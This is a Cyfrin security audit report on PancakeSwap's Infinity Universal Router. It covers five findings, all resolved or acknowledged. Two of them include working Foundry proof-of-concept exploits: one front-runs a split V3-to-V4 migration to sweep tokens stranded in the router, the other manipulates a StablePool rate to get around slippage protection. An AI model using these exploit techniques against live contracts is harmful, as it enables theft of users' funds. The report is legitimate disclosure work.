INFINITY UNIVERSAL ROUTER Audit Report

Prepared by Cyfrin

Version 3.0

Lead Auditors

0kage

Hans

Assisting Auditors

March 10, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

The PancakeSwap Infinity Universal Router is a smart contract system designed to facilitate efficient token swaps across multiple versions of PancakeSwap decentralized exchange (v2, v3, v4) and StableSwap pools. Key features include:

- Unified entry point for executing trades across different PancakeSwap protocols
- Command-based architecture allowing complex, multi-step trades in a single transaction
- Integration with Permit2 for gasless token approvals
- Support for native token wrapping/unwrapping
- Flexible routing options including multi-hop trades and split trades across multiple pools

System utilizes a modular design with separate modules for each supported protocol (v2, v3, v4, StableSwap), allowing for easy extensibility and maintenance.

5 Audit Scope

Cyfrin conducted a security audit of the PancakeSwap Infinity Universal Router (previously known as the Universal Swap Router), a smart contract system designed to enable efficient token swaps across multiple protocols and versions of PancakeSwap decentralized exchange.

The audit focused on identifying potential security vulnerabilities, logical errors, and adherence to best practices within these smart contracts. Special attention was given to the interactions between V2/V3, V4 and Stable swap pools. Smart contracts from pancake-v4-core and pancake-v4-periphery repositories were considered out-of-scope for this audit.

Following files were included in the scope of the audit:

- src/UniversalRouter.sol

- src/base/Dispatcher.sol
- src/base/Lock.sol
- src/base/RouterImmutables.sol
- src/modules/pancakeswap/v2/V2SwapRouter.sol
- src/modules/pancakeswap/v3/V3SwapRouter.sol
- src/modules/pancakeswap/v4/V4SwapRouter.sol
- src/modules/pancakeswap/StableSwapRouter.sol
- src/modules/Payments.sol
- src/modules/Permit2Payments.sol
- src/modules/V3ToV4Migrator.sol
- src/libraries/BytesLib.sol
- src/libraries/Commands.sol
- src/libraries/Locker.sol
- src/libraries/MaxInputAmount.sol
- src/libraries/UniversalRouterHelper.sol

6 Executive Summary

Over the course of 9 days, the Cyfrin team conducted an audit on the INFINITY UNIVERSAL ROUTER smart contracts provided by Pancake Swap. In this period, a total of 5 issues were found.

PancakeSwap's Infinity Universal Router (previously known as the Universal Swap Router) is an innovative smart contract system designed to streamline token swaps across multiple versions of PancakeSwap decentralized exchange (v2, v3, v4) and StableSwap pools. This unified interface allows users to execute complex, multi-step trades in a single transaction, potentially reducing gas costs and improving capital efficiency. The system integrates with Permit2 for gasless approvals and supports native token operations, offering a flexible and powerful trading experience.

Our audit revealed several issues of varying severity. The most critical finding relates to potential MEV exploitation in the stable swap implementation, where slippage protection could be bypassed under certain conditions. Another significant concern is the vulnerability of the multi-step V3 to V4 migration process to front-running attacks. We also identified configuration inconsistencies in the BSC Testnet deployment and test suite, as well as potential issues with tokens that have self-transfer restrictions. **All major findings identified during this audit have been successfully addressed and verified.**

It's important to note that this audit focused primarily on the Infinity Universal Router implementation. The underlying PancakeSwap core and periphery contracts were treated as a black box for the purposes of this review. As such, any vulnerabilities or issues within these dependencies were outside the scope of our analysis.

We found the overall code quality and adherence to security best practices in the Infinity Universal Router to be of a high standard. Complementing this robust code structure, the test coverage is comprehensive and of high quality. The combination of well-structured code and thorough testing significantly contributes to the overall security posture of the system.

Summary

Project Name	INFINITY UNIVERSAL ROUTER
Repository	pancake-v4-universal-router
Commit	d2764d0115f1ef5897be4d79c581c6b9404ab3e312...
Audit Timeline	Sep 23 - Oct 4th
Methods	Manual Review, Stateful Fuzzing

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	2
Low Risk	0
Informational	3
Gas Optimizations	0
Total Issues	5

Summary of Findings

[M-1] Multi-step migration process risks token loss due to front-running	Resolved
[M-2] MEV Bots can bypass slippage protection in Universal Router's stable swap implementation	Resolved
[I-1] Incorrect test setup in StableSwap.t.sol	Resolved
[I-2] Incorrect configuration of `StableInfo` contract address in BSC Testnet	Resolved
[I-3] When executing multiple commands, StablePool `exactOutput` swaps may fail for ERC20 tokens with self-transfer restrictions	Acknowledged

7 Findings

7.1 Medium Risk

7.1.1 Multi-step migration process risks token loss due to front-running

Description: The current implementation of the Universal Router allows for a multi-step migration process from V3 to V4 positions. This process, as demonstrated in the tests `test_v3PositionManager_burn` and `test_v4CLPositionmanager_Mint`, can be executed in separate transactions. In the first step, tokens are collected from the V3 position and left in the router contract. In a subsequent step, these tokens are used to mint a V4 position.

An incorrect migration due to user error or otherwise, introduces front running attack vectors. Between these steps, the tokens reside in the router contract allowing an attacker to front-run the second step of the migration process and steal the user's tokens.

The core issue stems from the fact that the `execute()` function does not automatically sweep remaining tokens back to the user at the end of each transaction. This leaves any unused or (un)intentionally stored tokens vulnerable to unauthorized sweeping by external parties.

Impact: Users who perform the migration in separate steps, or who fail to include a sweep command at the end of their transaction, risk losing all tokens collected from their V3 position.

The impact is exacerbated by the fact that users might naturally perceive the migration as a two-step process (exit V3, then enter V4), not realizing the risks of leaving tokens in the router between these steps.

Proof of Concept: Add the test to `V3ToV4Migration.t.sol`

```
    function test_v3PositionManager_burn_frontrunnable() public {
        vm.startPrank(alice);

        // before: verify token0/token1 balance in router
        assertEq(token0.balanceOf(address(router)), 0);
        assertEq(token1.balanceOf(address(router)), 0);

        // build up the params for (permit -> decrease -> collect)
        (,,,,,,, uint128 liqudiity,,,,) = v3Nfpm.positions(v3TokenId);
        (uint8 v, bytes32 r, bytes32 s) = _getErc721PermitSignature(address(router), v3TokenId,
        ↪  block.timestamp);
        IV3NonfungiblePositionManager.DecreaseLiquidityParams memory decreaseParams =
        ↪  IV3NonfungiblePositionManager
            .DecreaseLiquidityParams({
            tokenId: v3TokenId,
            liquidity: liqudiity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });
        IV3NonfungiblePositionManager.CollectParams memory collectParam =
        ↪  IV3NonfungiblePositionManager.CollectParams({
            tokenId: v3TokenId,
            recipient: address(router),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        // build up univeral router commands
        bytes memory commands = abi.encodePacked(
            bytes1(uint8(Commands.V3_POSITION_MANAGER_PERMIT)),
            bytes1(uint8(Commands.V3_POSITION_MANAGER_CALL)), // decrease
            bytes1(uint8(Commands.V3_POSITION_MANAGER_CALL)), // collect
            bytes1(uint8(Commands.V3_POSITION_MANAGER_CALL)) // burn
        );
```

```
        bytes[] memory inputs = new bytes[](4);
        inputs[0] = abi.encodePacked(
            IERC721Permit.permit.selector, abi.encode(address(router), v3TokenId, block.timestamp, v,
            ↪  r, s)
        );
        inputs[1] =
            abi.encodePacked(IV3NonfungiblePositionManager.decreaseLiquidity.selector,
            ↪  abi.encode(decreaseParams));
        inputs[2] = abi.encodePacked(IV3NonfungiblePositionManager.collect.selector,
        ↪  abi.encode(collectParam));
        inputs[3] = abi.encodePacked(IV3NonfungiblePositionManager.burn.selector,
        ↪  abi.encode(v3TokenId));

        snapStart("V3ToV4MigrationTest#test_v3PositionManager_burn");
        router.execute(commands, inputs);
        snapEnd();

        // after: verify token0/token1 balance in router
        assertEq(token0.balanceOf(address(router)), 9999999999999999999);
        assertEq(token1.balanceOf(address(router)), 9999999999999999999);

        // Attacker front-runs and sweeps the funds
        address attacker = makeAddr("ATTACKER");
        assertEq(token0.balanceOf(attacker), 0);
        assertEq(token1.balanceOf(attacker), 0);
        uint256 routerBalanceBeforeAttack0 = token0.balanceOf(address(router));
        uint256 routerBalanceBeforeAttack1 = token1.balanceOf(address(router));

        vm.startPrank(attacker);

        bytes memory attackerCommands = abi.encodePacked(
            bytes1(uint8(Commands.SWEEP)),
            bytes1(uint8(Commands.SWEEP))
        );

        bytes[] memory attackerInputs = new bytes[](2);
        attackerInputs[0] = abi.encode(address(token0), attacker, 0);
        attackerInputs[1] = abi.encode(address(token1), attacker, 0);

        router.execute(attackerCommands, attackerInputs);

        vm.stopPrank();

        uint256 routerBalanceAfterAttack0 = token0.balanceOf(address(router));
        uint256 routerBalanceAfterAttack1 = token1.balanceOf(address(router));

        assertEq(routerBalanceAfterAttack0, 0, "Router should have no token0 left");
        assertEq(routerBalanceAfterAttack1, 0, "Router should have no token1 left");
        assertEq(token0.balanceOf(attacker), routerBalanceBeforeAttack0);
        assertEq(token1.balanceOf(attacker), routerBalanceBeforeAttack1);
    }
```

Recommended Mitigation: Consider implementing an automatic token sweep at the end of each execute() call. Any tokens left in the router should be returned to the transaction initiator. Alternatively, provide helper functions or clear guidelines for combining V3 exit and V4 entry into a single transaction and/or add clear comments to the V3_POSITION_MANAGER_CALL execution.

Pancake Swap Fixed in PR 22

Cyfrin: Verified. Added in-line comments as recommended for V3_POSITION_MANAGER_CALL.

7.1.2 MEV Bots can bypass slippage protection in Universal Router's stable swap implementation

Description: The current implementation of slippage protection in the Universal Router's stable swap functionality is vulnerable to a bypass. The stableSwapExactInput function checks the balance of the output token after the swap to ensure it meets the minimum amount specified. However, this check does not account for any pre-existing balance of the output token in the router contract. In a multi-command transaction scenario, it's possible for the router to have a balance of the output token before the swap is executed, which could lead to the slippage check passing even if the actual swap output is less than the specified minimum.

Let's explore the contracts to spot where and why the MEV protection can be lost

StableSwapRouter

```
function stableSwapExactInput(
    address recipient,
    uint256 amountIn,
    uint256 amountOutMinimum,
    address[] calldata path,
    uint256[] calldata flag,
    address payer
) internal {
   // code....

    uint256 amountOut = tokenOut.balanceOf(address(this));
    if (amountOut < amountOutMinimum) revert StableTooLittleReceived(); //@audit this check is
    ↪  ineffective
    if (recipient != address(this)) pay(address(tokenOut), recipient, amountOut);
}
```

The above check assumes that the entire balance of tokenOut in the router is a result of the current swap, which may not always be the case.

Impact: MEV Bots can steal from users when swapping an exactIn on a StablePool. In a worst-case scenario, users could receive significantly less value from their swaps than intended, while their transactions appear to have executed successfully with slippage protection.

Proof of Concept: Create a new file in the test/ and add the below code to run the PoC:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
// import {StableSwapTest} from "./stableSwap/StableSwap.t.sol";

import {IPermit2} from "permit2/src/interfaces/IPermit2.sol";
import {IPancakeV2Factory} from "../src/modules/pancakeswap/v2/interfaces/IPancakeV2Factory.sol";

import {IStableSwapFactory} from "../src/interfaces/IStableSwapFactory.sol";
import {IStableSwapInfo} from "../src/interfaces/IStableSwapInfo.sol";

import {UniversalRouter} from "../src/UniversalRouter.sol";
import {ActionConstants} from "pancake-v4-periphery/src/libraries/ActionConstants.sol";
import {Constants} from "../src/libraries/Constants.sol";
import {Commands} from "../src/libraries/Commands.sol";
import {RouterParameters} from "../src/base/RouterImmutables.sol";

contract Exploit is Test {
  ERC20 constant USDC = ERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
  ERC20 constant BUSDC = ERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
  ERC20 constant CAKE = ERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);
  ERC20 constant WETH9 = ERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
```

```
IPancakeV2Factory constant FACTORY = IPancakeV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
IPermit2 constant PERMIT2 = IPermit2(0x31c2F6fcFf4F8759b3Bd5Bf0e1084A055615c768);

IStableSwapFactory STABLE_FACTORY = IStableSwapFactory(0x25a55f9f2279A54951133D503490342b50E5cd15);
IStableSwapInfo STABLE_INFO = IStableSwapInfo(0x150c8AbEB487137acCC541925408e73b92F39A50);

address helperUser = vm.addr(999);
address user = vm.addr(1234);
address attacker = vm.addr(1111);

UniversalRouter public router;

uint256 WETH_AMOUNT;
uint256 CAKE_AMOUNT;

uint256 ATTACKER_BUSDC_AMOUNT = 10_000_000e18;

function setUp() public {
      // BSC: May-09-2024 03:05:23 AM +UTC
      vm.createSelectFork(vm.envString("FORK_URL"), 38560000);
      // setUpTokens();

      RouterParameters memory params = RouterParameters({
          permit2: address(PERMIT2),
          weth9: address(WETH9),
          v2Factory: address(FACTORY),
          v3Factory: address(0),
          v3Deployer: address(0),
          v2InitCodeHash: bytes32(0x00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5),
          v3InitCodeHash: bytes32(0),
          stableFactory: address(STABLE_FACTORY),
          stableInfo: address(STABLE_INFO),
          v4Vault: address(0),
          v4ClPoolManager: address(0),
          v4BinPoolManager: address(0),
          v3NFTPositionManager: address(0),
          v4ClPositionManager: address(0),
          v4BinPositionManager: address(0)
      });
      router = new UniversalRouter(params);

      if (FACTORY.getPair(address(WETH9), address(USDC)) == address(0)) {
          revert("v2Pair doesn't exist");
      }

      if (FACTORY.getPair(address(CAKE), address(BUSDC)) == address(0)) {
          revert("v2Pair doesn't exist");
      }

      if (STABLE_FACTORY.getPairInfo(address(USDC), address(BUSDC)).swapContract == address(0)) {
          revert("StablePair doesn't exist");
      }

      WETH_AMOUNT = 1e18;
      CAKE_AMOUNT = 250e18;

      {
        vm.startPrank(helperUser);
        deal(address(WETH9), helperUser, WETH_AMOUNT);
        deal(address(CAKE), helperUser, CAKE_AMOUNT);
        ERC20(address(WETH9)).approve(address(PERMIT2), type(uint256).max);
        ERC20(address(CAKE)).approve(address(PERMIT2), type(uint256).max);
```

```
        ERC20(address(USDC)).approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(WETH9), address(router), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(CAKE), address(router), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(USDC), address(router), type(uint160).max, type(uint48).max);
        vm.stopPrank();
    }

    {
        vm.startPrank(user);
        deal(address(WETH9), user, WETH_AMOUNT);
        deal(address(CAKE), user, CAKE_AMOUNT);
        ERC20(address(WETH9)).approve(address(PERMIT2), type(uint256).max);
        ERC20(address(CAKE)).approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(WETH9), address(router), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(CAKE), address(router), type(uint160).max, type(uint48).max);
        vm.stopPrank();
    }

    {
        vm.startPrank(attacker);
        //@audit => Attacker got 10 million USDC to manipulate the rate on the USDC/BUSDC StablePool!
        deal(address(USDC), attacker, ATTACKER_BUSDC_AMOUNT);
        ERC20(address(USDC)).approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(USDC), address(router), type(uint160).max, type(uint48).max);
        vm.stopPrank();
    }
}

function test_happyPathWithoutAbusingBug() public {
  (address[] memory pathSwap1, address[] memory pathSwap2, address[] memory stableSwapPath,
  ↪  uint256[] memory pairFlag) = _helperFunction();

  //Ratio of Conversion:
    //1 WBNB ~ 595.2e18 USDC
    //1 CAKE ~ 2.66 BUSDC
    //1 USDC ~ 0.99989 BUSDC

  (uint256 weth_usdc_ratio, uint256 cake_busdc_ratio, uint256 usdc_busdc_ratio) =
  ↪  _computeConvertionRatios(pathSwap1, pathSwap2, stableSwapPath, pairFlag);

  //@audit => Do the user's swap!

  bytes[] memory inputsUser = new bytes[](3);
  //@audit => swap 1 WBNB for USDC and leave the USDC on the router to do smth with them
    // @audit => Should get ~590 USDC
  inputsUser[0] = abi.encode(ActionConstants.ADDRESS_THIS, WETH_AMOUNT, 0, pathSwap1, true);

  //@audit => swap 250 CAKE for BUSDC and leave the BUSDC on the router to do smth with them
    // @audit => Should get ~520 BUSDC
  inputsUser[1] = abi.encode(ActionConstants.ADDRESS_THIS, CAKE_AMOUNT, 0, pathSwap2, true);

  //@audit => Do a StableSwap of USDC to BUSDC using the USDC received on the first swap!
    // @audit => In the end, the Router should have at least 1250 BUSDC after all the swaps are
    ↪  completed
  inputsUser[2] = abi.encode(ActionConstants.ADDRESS_THIS, ActionConstants.CONTRACT_BALANCE, 0,
  ↪  stableSwapPath, pairFlag, false);

  bytes memory commandsUser = abi.encodePacked(bytes1(uint8(Commands.V2_SWAP_EXACT_IN)),
  ↪  bytes1(uint8(Commands.V2_SWAP_EXACT_IN)), bytes1(uint8(Commands.STABLE_SWAP_EXACT_IN)));
  vm.prank(user);
  router.execute(commandsUser, inputsUser);
```

```
    uint256 busdcReceived = BUSDC.balanceOf(address(router));
    assert(busdcReceived > 1250e18);
    console.log("busdcReceived:" , busdcReceived);

  }


  function test_explotingLackOfMevProtection() public {
    (address[] memory pathSwap1, address[] memory pathSwap2, address[] memory stableSwapPath,
    ↪  uint256[] memory pairFlag) = _helperFunction();

    //Ratio of Conversion:
      //1 WBNB ~ 595.2e18 USDC
      //1 CAKE ~ 2.66 BUSDC
      //1 USDC ~ 0.99989 BUSDC

    (uint256 weth_usdc_ratio, uint256 cake_busdc_ratio, uint256 usdc_busdc_ratio) =
    ↪  _computeConvertionRatios(pathSwap1, pathSwap2, stableSwapPath, pairFlag);

    //@audit => Attacker frontruns the users tx and manipulates the rate on the USDC/BUSDC StablePool!
    bytes[] memory inputsAttacker = new bytes[](1);
    inputsAttacker[0] = abi.encode(ActionConstants.MSG_SENDER, ATTACKER_BUSDC_AMOUNT, 0,
    ↪  stableSwapPath, pairFlag, true);

    bytes memory commandsSttacker = abi.encodePacked(bytes1(uint8(Commands.STABLE_SWAP_EXACT_IN)));
    vm.prank(attacker);
    router.execute(commandsSttacker, inputsAttacker);

    uint256 busdcAttackerReceived = BUSDC.balanceOf(address(attacker));
    console.log("Attacker busdcReceived:" , busdcAttackerReceived);

    //@audit => Do the user swap
    bytes[] memory inputsUser = new bytes[](3);
    //@audit => swap 1 WBNB for USDC and leave the USDC on the router to do smth with them
      // @audit => Should get ~590 USDC
    inputsUser[0] = abi.encode(ActionConstants.ADDRESS_THIS, WETH_AMOUNT, 0, pathSwap1, true);

    //@audit => swap 250 CAKE for BUSDC and leave the BUSDC on the router to do smth with them
      // @audit => Should get ~660 BUSDC
    inputsUser[1] = abi.encode(ActionConstants.ADDRESS_THIS, CAKE_AMOUNT, 0, pathSwap2, true);

    //@audit => Users sets a minimum amount of BUSDC to receive for the USDC of the first swap. (At
    ↪  least a 90%!)
      //@audit => The user is explicitly setting the minimum amount of BUSDC to receive as ~530 BUSDC!
    //@audit => Because of the bug, the minimum amount of BUSDC the user is willing to receive will be
    ↪  ignored!
    uint256 busdc_amountOutMinimum = (((weth_usdc_ratio * usdc_busdc_ratio / 1e18) * 9) / 10);

    //@audit => Do a StableSwap of USDC to BUSDC using the USDC received on the first swap!
      // @audit => In the end, the Router should have at least 1250 BUSDC after all the swaps are
      ↪  completed
    inputsUser[2] = abi.encode(ActionConstants.ADDRESS_THIS, ActionConstants.CONTRACT_BALANCE,
    ↪  busdc_amountOutMinimum, stableSwapPath, pairFlag, false);

    bytes memory commandsUser = abi.encodePacked(bytes1(uint8(Commands.V2_SWAP_EXACT_IN)),
    ↪  bytes1(uint8(Commands.V2_SWAP_EXACT_IN)), bytes1(uint8(Commands.STABLE_SWAP_EXACT_IN)));
    vm.prank(user);
    router.execute(commandsUser, inputsUser);

    //@audit => The router only has ~660 BUSDC after swapping 1 WBNB and 250 CAKE
      //@audit => Even though the user specified a minimum amount when swapping the USDC that was
      ↪  received on the first swap, because of the bug, such protection is ignored.
```

```
    uint256 busdcReceived = BUSDC.balanceOf(address(router));
    assert(busdcReceived < 675e18);
    console.log("busdcReceived:" , busdcReceived);

    //@audit => Results: The user swapped 1 WBNB and 250 CAKE worth ~1250 USD, and in reality it only
    ↪  received less than 675 USD.
    //@audit => The attacker manipulated the ratio on the StablePool which allows him to steal on the
    ↪  swap of USDC ==> BUSDC
}

function _helperFunction() internal returns(address[] memory pathSwap1, address[] memory pathSwap2,
↪  address[] memory stableSwapPath, uint256[] memory pairFlag) {
    pathSwap1 = new address[](2);     // WBNB => USDC
    pathSwap1[0] = address(WETH9);
    pathSwap1[1] = address(USDC);

    pathSwap2 = new address[](2);     // CAKE => BUSDC
    pathSwap2[0] = address(CAKE);
    pathSwap2[1] = address(BUSDC);

    stableSwapPath = new address[](2); // USDC => BUSDC
    stableSwapPath[0] = address(USDC);
    stableSwapPath[1] = address(BUSDC);
    pairFlag = new uint256[](1);
    pairFlag[0] = 2; // 2 is the flag to indicate StableSwapTwoPool
}

function _computeConvertionRatios(address[] memory pathSwap1, address[] memory pathSwap2, address[]
↪  memory stableSwapPath, uint256[] memory pairFlag) internal
returns (uint256 weth_usdc_ratio, uint256 cake_busdc_ratio, uint256 usdc_busdc_ratio) {
    bytes[] memory inputsHelperUser = new bytes[](2);
    //@audit => swap 1 WBNB for USDC to get an approximate of the current conversion between WBNB to
    ↪  USDC
    inputsHelperUser[0] = abi.encode(ActionConstants.MSG_SENDER, 1e18, 0, pathSwap1, true);
    //@audit => swap 1 CAKE for BUSDC to get an approximate of the current conversion between CAKE
    ↪  to BUSDC
    inputsHelperUser[1] = abi.encode(ActionConstants.MSG_SENDER, 1e18, 0, pathSwap2, true);

    bytes memory commandsHelperUser = abi.encodePacked(bytes1(uint8(Commands.V2_SWAP_EXACT_IN)),
    ↪  bytes1(uint8(Commands.V2_SWAP_EXACT_IN)));
    vm.prank(helperUser);
    router.execute(commandsHelperUser, inputsHelperUser);

    weth_usdc_ratio = USDC.balanceOf(address(helperUser));
    cake_busdc_ratio = BUSDC.balanceOf(address(helperUser));
    console.log("Convertion between WBNB to USDC:" , weth_usdc_ratio);
    console.log("Convertion between CAKE to BUSDC:" , cake_busdc_ratio);

    uint256 usdcUserHelperBalance = USDC.balanceOf(address(helperUser));
    uint256 busdcUserHelperBalanceBeforeStableSwap = BUSDC.balanceOf(address(helperUser));
    bytes[] memory inputsStableSwapHelperUser = new bytes[](1);
    //@audit => swap USDC for 1 BUSDC to get an approximate of the current conversion between USDC
    ↪  to BUSDC
    inputsStableSwapHelperUser[0] = abi.encode(ActionConstants.MSG_SENDER, 1e18, 0, stableSwapPath,
    ↪  pairFlag, true);

    bytes memory commandsStableSwapHelperUser =
    ↪  abi.encodePacked(bytes1(uint8(Commands.STABLE_SWAP_EXACT_IN)));
    vm.prank(helperUser);
    router.execute(commandsStableSwapHelperUser, inputsStableSwapHelperUser);
```

```
        usdc_busdc_ratio = BUSDC.balanceOf(address(helperUser)) -
        ↪  busdcUserHelperBalanceBeforeStableSwap;
        console.log("Convertion between USDC to BUSDC:" , usdc_busdc_ratio);
    }
}
```

There are two tests on the above PoC.

- The first test (`test_happyPathWithoutAbusingBug`) demonstrates the amount of tokenOut (BUSDC) the user should receive for swapping 1 WBNB and 250 CAKE.
  - In total, the user should receive > 1250 BUSDC.
- The second test (`test_explotingLackOfMevProtection`) demonstrates how an attacker is able to steal from the user when swapping on the StablePool.
  - The user receives < 675 BUSDC for swapping 1WBNB and 250 CAKE (same as the first test).

Run the tests with the next commands:

- Test1: `forge test --match-test test_happyPathWithoutAbusingBug -vvvv`
- Test2: `forge test --match-test test_explotingLackOfMevProtection -vvvv`

Recommended Mitigation: Consider checking the balance of tokenOut that the Router is holding before doing the stableSwap, and compare this with the balance after the swap is completed. Compute the difference and validate that such a difference is at least the specified `amountOutMinimum` to receive on that swap.

Pancake Swap Fixed in PR 22

Cyfrin: Verified. Fixed as recommended.

7.2 Informational

7.2.1 Incorrect test setup in StableSwap.t.sol

Description: `StableSwap.t.sol` contains tests where the payer is the router contract itself. In all such cases the `payerIsUser` is incorrectly set to `true`. Even with an incorrect setup, these tests are passing because the test contract has enough balance of `token0` and `token1`.

Recommended Mitigation: Consider updating the `payerIsUser` flag to false in the following tests: `test_stableSwap_exactInput0For1FromRouter` `test_stableSwap_exactInput1For0FromRouter` `test_stableSwap_exactOutput0For1FromRouter` `test_stableSwap_exactOutput1For0FromRouter`

Pancake Swap Fixed in PR 22

Cyfrin: Verified. Fixed as recommended.

7.2.2 Incorrect configuration of `StableInfo` contract address in BSC Testnet

Description: For BSC Testnet deployment, the router setup parameters for both the `StableFactory` and `StableInfo` contracts are configured to use the same address: 0xe6A00f8b819244e8Ab9Ea930e46449C2F20B6609. This is likely an oversight, as these should typically be separate contracts with distinct addresses.

Recommended Mitigation: Consider using the correct deployment address for `StableInfo`contract.

Pancake Swap Fixed in PR 22

Cyfrin: Verified.

7.2.3 When executing multiple commands, StablePool `exactOutput` swaps may fail for ERC20 tokens with self-transfer restrictions

Description: Multi-step swaps on StablePools can revert the whole transaction for tokens that don't allow self-transfers.

Swapping exactOutput on a StablePool when the `payer` is set as the router (`address(this)`) (for example, when doing a multi-step swap and the router already has the `tokenIn` for the swap), can cause the transaction to revert for tokens that reverts on self-transfer.

Recommended Mitigation: Consider skipping the self-transfer when `payer == address(this)`.

```
function stableSwapExactOutput(
    ...
) internal {


-   payOrPermit2Transfer(path[0], payer, address(this), amountIn);
+   if (payer != address(this)) payOrPermit2Transfer(path[0], payer, address(this), amountIn);

    ...
}
```

Pancake Swap Acknowledged.

Cyfrin: Acknowledged.